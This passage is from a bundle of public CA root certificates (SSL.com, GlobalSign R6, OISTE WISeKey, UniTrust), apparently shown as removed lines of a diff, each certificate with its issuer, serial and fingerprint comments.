-L30SgLdTMEZeS1SZD2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeC -jGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4oR24qoAATILnsn8JuLwwoC8N9VKejveSswoA -HQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx9hoh49pwBiFYFIeFd3mqgnkC -AwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlRMA8GA1UdEwEB -/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg -p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZm -DRd9FBUb1Ov9H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5 -COmSdI31R9KrO9b7eGZONn356ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ry -L3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd+PwyvzeG5LuOmCd+uh8W4XAR8gPf -JWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQHtZa37dG/OaG+svg -IHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBDF8Io -2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV -09tL7ECQ8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQ -XR4EzzffHqhmsYzmIGrv/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrq -T8p+ck0LcIymSLumoRT2+1hEmRSuqguTaaApJUqlyyvdimYHFngVV3Eb7PVHhPOe -MTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g== ------END CERTIFICATE----- - -# Issuer: CN=SSL.com Root Certification Authority RSA O=SSL Corporation -# Subject: CN=SSL.com Root Certification Authority RSA O=SSL Corporation -# Label: "SSL.com Root Certification Authority RSA" -# Serial: 8875640296558310041 -# MD5 Fingerprint: 86:69:12:c0:70:f1:ec:ac:ac:c2:d5:bc:a5:5b:a1:29 -# SHA1 Fingerprint: b7:ab:33:08:d1:ea:44:77:ba:14:80:12:5a:6f:bd:a9:36:49:0c:bb -# SHA256 Fingerprint: 85:66:6a:56:2e:e0:be:5c:e9:25:c1:d8:89:0a:6f:76:a8:7e:c1:6d:4d:7d:5f:29:ea:74:19:cf:20:12:3b:69 ------BEGIN CERTIFICATE----- -MIIF3TCCA8WgAwIBAgIIeyyb0xaAMpkwDQYJKoZIhvcNAQELBQAwfDELMAkGA1UE -BhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQK -DA9TU0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZp -Y2F0aW9uIEF1dGhvcml0eSBSU0EwHhcNMTYwMjEyMTczOTM5WhcNNDEwMjEyMTcz -OTM5WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv -dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv -bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFJTQTCCAiIwDQYJKoZIhvcN -AQEBBQADggIPADCCAgoCggIBAPkP3aMrfcvQKv7sZ4Wm5y4bunfh4/WvpOz6Sl2R -xFdHaxh3a3by/ZPkPQ/CFp4LZsNWlJ4Xg4XOVu/yFv0AYvUiCVToZRdOQbngT0aX -qhvIuG5iXmmxX9sqAn78bMrzQdjt0Oj8P2FI7bADFB0QDksZ4LtO7IZl/zbzXmcC -C52GVWH9ejjt/uIZALdvoVBidXQ8oPrIJZK0bnoix/geoeOy3ZExqysdBP+lSgQ3 -6YWkMyv94tZVNHwZpEpox7Ko07fKoZOI68GXvIz5HdkihCR0xwQ9aqkpk8zruFvh -/l8lqjRYyMEjVJ0bmBHDOJx+PYZspQ9AhnwC9FwCTyjLrnGfDzrIM/4RJTXq/LrF -YD3ZfBjVsqnTdXgDciLKOsMf7yzlLqn6niy2UUb9rwPW6mBo6oUWNmuF6R7As93E -JNyAKoFBbZQ+yODJgUEAnl6/f8UImKIYLEJAs/lvOCdLToD0PYFH4Ih86hzOtXVc -US4cK38acijnALXRdMbX5J+tB5O2UzU1/Dfkw/ZdFr4hc96SCvigY2q8lpJqPvi8 -ZVWb3vUNiSYE/CUapiVpy8JtynziWV+XrOvvLsi81xtZPCvM8hnIk2snYxnP/Okm -+Mpxm3+T/jRnhE6Z6/yzeAkzcLpmpnbtG3PrGqUNxCITIJRWCk4sbE6x/c+cCbqi -M+2HAgMBAAGjYzBhMB0GA1UdDgQWBBTdBAkHovV6fVJTEpKV7jiAJQ2mWTAPBgNV -HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFN0ECQei9Xp9UlMSkpXuOIAlDaZZMA4G -A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAIBgRlCn7Jp0cHh5wYfGV -cpNxJK1ok1iOMq8bs3AD/CUrdIWQPXhq9LmLpZc7tRiRux6n+UBbkflVma8eEdBc -Hadm47GUBwwyOabqG7B52B2ccETjit3E+ZUfijhDPwGFpUenPUayvOUiaPd7nNgs -PgohyC0zrL/FgZkxdMF1ccW+sfAjRfSda/wZY52jvATGGAslu1OJD7OAUN5F7kR/ -q5R4ZJjT9ijdh9hwZXT7DrkT66cPYakylszeu+1jTBi7qUD3oFRuIIhxdRjqerQ0 -cuAjJ3dctpDqhiVAq+8zD8ufgr6iIPv2tS0a5sKFsXQP+8hlAqRSAUfdSSLBv9jr -a6x+3uxjMxW3IwiPxg+NQVrdjsW5j+VFP3jbutIbQLH+cU0/4IGiul607BXgk90I -H37hVZkLId6Tngr75qNJvTYw/ud3sqB1l7UtgYgXZSD32pAAn8lSzDLKNXz1PQ/Y -K9f1JmzJBjSWFupwWRoyeXkLtoh/D1JIPb9s2KJELtFOt3JY04kTlf5Eq/jXixtu -nLwsoFvVagCvXzfh1foQC5ichucmj87w7G6KVwuA406ywKBjYZC6VWg3dGq2ktuf -oYYitmUnDuy2n0Jg5GfCtdpBC8TTi2EbvPofkSvXRAdeuims2cXp71NIWuuA8ShY -Ic2wBlX7Jz9TkHCpBB5XJ7k= ------END CERTIFICATE----- - -# Issuer: CN=SSL.com Root Certification Authority ECC O=SSL Corporation -# Subject: CN=SSL.com Root Certification Authority ECC O=SSL Corporation -# Label: "SSL.com Root Certification Authority ECC" -# Serial: 8495723813297216424 -# MD5 Fingerprint: 2e:da:e4:39:7f:9c:8f:37:d1:70:9f:26:17:51:3a:8e -# SHA1 Fingerprint: c3:19:7c:39:24:e6:54:af:1b:c4:ab:20:95:7a:e2:c3:0e:13:02:6a -# SHA256 Fingerprint: 34:17:bb:06:cc:60:07:da:1b:96:1c:92:0b:8a:b4:ce:3f:ad:82:0e:4a:a3:0b:9a:cb:c4:a7:4e:bd:ce:bc:65 ------BEGIN CERTIFICATE----- -MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMC -VVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9T -U0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0 -aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEyMTgxNDAzWhcNNDEwMjEyMTgxNDAz -WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hvdXN0 -b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNvbSBS -b290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB -BAAiA2IABEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI -7Z4INcgn64mMU1jrYor+8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPg -CemB+vNH06NjMGEwHQYDVR0OBBYEFILRhXMw5zUE044CkvvlpNHEIejNMA8GA1Ud -EwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTTjgKS++Wk0cQh6M0wDgYD -VR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCWe+0F+S8T -kdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+ -gA0z5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl ------END CERTIFICATE----- - -# Issuer: CN=SSL.com EV Root Certification Authority RSA R2 O=SSL Corporation -# Subject: CN=SSL.com EV Root Certification Authority RSA R2 O=SSL Corporation -# Label: "SSL.com EV Root Certification Authority RSA R2" -# Serial: 6248227494352943350 -# MD5 Fingerprint: e1:1e:31:58:1a:ae:54:53:02:f6:17:6a:11:7b:4d:95 -# SHA1 Fingerprint: 74:3a:f0:52:9b:d0:32:a0:f4:4a:83:cd:d4:ba:a9:7b:7c:2e:c4:9a -# SHA256 Fingerprint: 2e:7b:f1:6c:c2:24:85:a7:bb:e2:aa:86:96:75:07:61:b0:ae:39:be:3b:2f:e9:d0:cc:6d:4e:f7:34:91:42:5c ------BEGIN CERTIFICATE----- -MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNV -BAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UE -CgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2Vy -dGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMB4XDTE3MDUzMTE4MTQzN1oXDTQy -MDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4G -A1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQD -DC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy -MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvq -M0fNTPl9fb69LT3w23jhhqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssuf -OePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7wcXHswxzpY6IXFJ3vG2fThVUCAtZJycxa -4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTOZw+oz12WGQvE43LrrdF9 -HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+B6KjBSYR -aZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcA -b9ZhCBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQ -Gp8hLH94t2S42Oim9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQV -PWKchjgGAGYS5Fl2WlPAApiiECtoRHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMO -pgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+SlmJuwgUHfbSguPvuUCYHBBXtSu -UDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48+qvWBkofZ6aY -MBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV -HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa4 -9QaAJadz20ZpqJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBW -s47LCp1Jjr+kxJG7ZhcFUZh1++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5 -Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nxY/hoLVUE0fKNsKTPvDxeH3jnpaAg -cLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2GguDKBAdRUNf/ktUM -79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDzOFSz -/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXt -ll9ldDz7CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEm -Kf7GUmG6sXP/wwyc5WxqlD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKK -QbNmC1r7fSOl8hqw/96bg5Qu0T/fkreRrwU7ZcegbLHNYhLDkBvjJc40vG93drEQ -w/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1hlMYegouCRw2n5H9gooi -S9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX9hwJ1C07 -mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w== ------END CERTIFICATE----- - -# Issuer: CN=SSL.com EV Root Certification Authority ECC O=SSL Corporation -# Subject: CN=SSL.com EV Root Certification Authority ECC O=SSL Corporation -# Label: "SSL.com EV Root Certification Authority ECC" -# Serial: 3182246526754555285 -# MD5 Fingerprint: 59:53:22:65:83:42:01:54:c0:ce:42:b9:5a:7c:f2:90 -# SHA1 Fingerprint: 4c:dd:51:a3:d1:f5:20:32:14:b0:c6:c5:32:23:03:91:c7:46:42:6d -# SHA256 Fingerprint: 22:a2:c1:f7:bd:ed:70:4c:c1:e7:01:b5:f4:08:c3:10:88:0f:e9:56:b5:de:2a:4a:44:f9:9c:87:3a:25:a7:c8 ------BEGIN CERTIFICATE----- -MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMC -VVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9T -U0wgQ29ycG9yYXRpb24xNDAyBgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZp -Y2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEyMTgxNTIzWhcNNDEwMjEyMTgx -NTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv -dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NMLmNv -bSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49 -AgEGBSuBBAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMA -VIbc/R/fALhBYlzccBYy3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1Kthku -WnBaBu2+8KGwytAJKaNjMGEwHQYDVR0OBBYEFFvKXuXe0oGqzagtZFG22XKbl+ZP -MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe5d7SgarNqC1kUbbZcpuX -5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJN+vp1RPZ -ytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZg -h5Mmm7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg== ------END CERTIFICATE----- - -# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R6 -# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R6 -# Label: "GlobalSign Root CA - R6" -# Serial: 1417766617973444989252670301619537 -# MD5 Fingerprint: 4f:dd:07:e4:d4:22:64:39:1e:0c:37:42:ea:d1:c6:ae -# SHA1 Fingerprint: 80:94:64:0e:b5:a7:a1:ca:11:9c:1f:dd:d5:9f:81:02:63:a7:fb:d1 -# SHA256 Fingerprint: 2c:ab:ea:fe:37:d0:6c:a2:2a:ba:73:91:c0:03:3d:25:98:29:52:c4:53:64:73:49:76:3a:3a:b5:ad:6c:cf:69 ------BEGIN CERTIFICATE----- -MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEg -MB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2Jh -bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQx -MjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSNjET -MBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCAiIwDQYJ -KoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQssgrRI -xutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1k -ZguSgMpE3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxD -aNc9PIrFsmbVkJq3MQbFvuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJw -LnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqMPKq0pPbzlUoSB239jLKJz9CgYXfIWHSw -1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+azayOeSsJDa38O+2HBNX -k7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05OWgtH8wY2 -SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/h -bguyCLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4n -WUx2OVvq+aWh2IMP0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpY -rZxCRXluDocZXFSxZba/jJvcE+kNb7gu3GduyYsRtYQUigAZcIN5kZeR1Bonvzce -MgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTAD -AQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNVHSMEGDAWgBSu -bAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN -nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGt -Ixg93eFyRJa0lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr61 -55wsTLxDKZmOMNOsIeDjHfrYBzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLj -vUYAGm0CuiVdjaExUd1URhxN25mW7xocBFymFe944Hn+Xds+qkxV/ZoVqW/hpvvf -cDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr3TsTjxKM4kEaSHpz -oHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB10jZp -nOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfs -pA9MRf/TuTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+v -JJUEeKgDu+6B5dpffItKoZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R -8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+tJDfLRVpOoERIyNiwmcUVhAn21klJwGW4 -5hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA= ------END CERTIFICATE----- - -# Issuer: CN=OISTE WISeKey Global Root GC CA O=WISeKey OU=OISTE Foundation Endorsed -# Subject: CN=OISTE WISeKey Global Root GC CA O=WISeKey OU=OISTE Foundation Endorsed -# Label: "OISTE WISeKey Global Root GC CA" -# Serial: 44084345621038548146064804565436152554 -# MD5 Fingerprint: a9:d6:b9:2d:2f:93:64:f8:a5:69:ca:91:e9:68:07:23 -# SHA1 Fingerprint: e0:11:84:5e:34:de:be:88:81:b9:9c:f6:16:26:d1:96:1f:c3:b9:31 -# SHA256 Fingerprint: 85:60:f9:1c:36:24:da:ba:95:70:b5:fe:a0:db:e3:6f:f1:1a:83:23:be:94:86:85:4f:b3:f3:4a:55:71:19:8d ------BEGIN CERTIFICATE----- -MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQsw -CQYDVQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91 -bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwg -Um9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRaFw00MjA1MDkwOTU4MzNaMG0xCzAJ -BgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQLExlPSVNURSBGb3Vu -ZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2JhbCBS -b290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4ni -eUqjFqdrVCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4W -p2OQ0jnUsYd4XxiWD1AbNTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8E -BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7T -rYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0EAwMDaAAwZQIwJsdpW9zV -57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtkAjEA2zQg -Mgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9 ------END CERTIFICATE----- - -# Issuer: CN=UCA Global G2 Root O=UniTrust -# Subject: CN=UCA Global G2 Root O=UniTrust -# Label: "UCA Global G2 Root" -# Serial: 124779693093741543919145257850076631279 -# MD5 Fingerprint: 80:fe:f0:c4:4a:f0:5c:62:32:9f:1c:ba:78:a9:50:f8 -# SHA1 Fingerprint: 28:f9:78:16:19:7a:ff:18:25:18:aa:44:fe:c1:a0:ce:5c:b6:4c:8a -# SHA256 Fingerprint: 9b:ea:11:c9:76:fe:01:47:64:c1:be:56:a6:f9:14:b5:a5:60:31:7a:bd:99:88:39:33:82:e5:16:1a:a0:49:3c ------BEGIN CERTIFICATE----- -MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9 -MQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBH -bG9iYWwgRzIgUm9vdDAeFw0xNjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0x -CzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlUcnVzdDEbMBkGA1UEAwwSVUNBIEds -b2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxeYr -b3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmToni9 -kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzm -VHqUwCoV8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/R -VogvGjqNO7uCEeBHANBSh6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDc -C/Vkw85DvG1xudLeJ1uK6NjGruFZfc8oLTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIj -tm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/R+zvWr9LesGtOxdQXGLY -D0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBeKW4bHAyv -j5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6Dl -NaBa4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6 -iIis7nCs+dwp4wwcOxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznP -O6Q0ibd5Ei9Hxeepl2n8pndntd978XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/ -BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFIHEjMz15DD/pQwIX4wV -ZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo5sOASD0Ee/oj -L3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5 -1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl -1qnN3e92mI0ADs0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oU -b3n09tDh05S60FdRvScFDcH9yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LV -PtateJLbXDzz2K36uGt/xDYotgIVilQsnLAXc47QN6MUPJiVAAwpBVueSUmxX8fj -y88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHojhJi6IjMtX9Gl8Cb -EGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZkbxqg -DMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI -+Vg7RE+xygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGy -YiGqhkCyLmTTX8jjfhFnRR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bX -UB+K+wb1whnw0A== ------END CERTIFICATE----- - -# Issuer: CN=UCA Extended Validation Root O=UniTrust -# Subject: CN=UCA Extended Validation Root O=UniTrust -# Label: "UCA Extended Validation Root" -# Serial: 106100277556486529736699587978573607008 -# MD5 Fingerprint: a1:f3:5f:43:c6:34:9b:da:bf:8c:7e:05:53:ad:96:e2 -# SHA1 Fingerprint: a3:a1:b0:6f:24:61:23:4a:e3:36:a5:c2:37:fc:a6:ff:dd:f0:d7:3a -# SHA256 Fingerprint: d4:3a:f9:b3:54:73:75:5c:96:84:fc:06:d7:d8:cb:70:ee:5c:28:e7:73:fb:29:4e:b4:1e:e7:17:22:92:4d:24 ------BEGIN CERTIFICATE----- -MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBH -MQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBF -eHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMx -MDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNV -BAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIiMA0GCSqGSIb3DQEB -AQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrsiWog -D4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvS -sPGP2KxFRv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aop -O2z6+I9tTcg1367r3CTueUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dk -sHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR59mzLC52LqGj3n5qiAno8geK+LLNEOfi -c0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH0mK1lTnj8/FtDw5lhIpj -VMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KRel7sFsLz -KuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/ -TuDvB0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41G -sx2VYVdWf6/wFlthWG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs -1+lvK9JKBZP8nm9rZ/+I8U6laUpSNwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQD 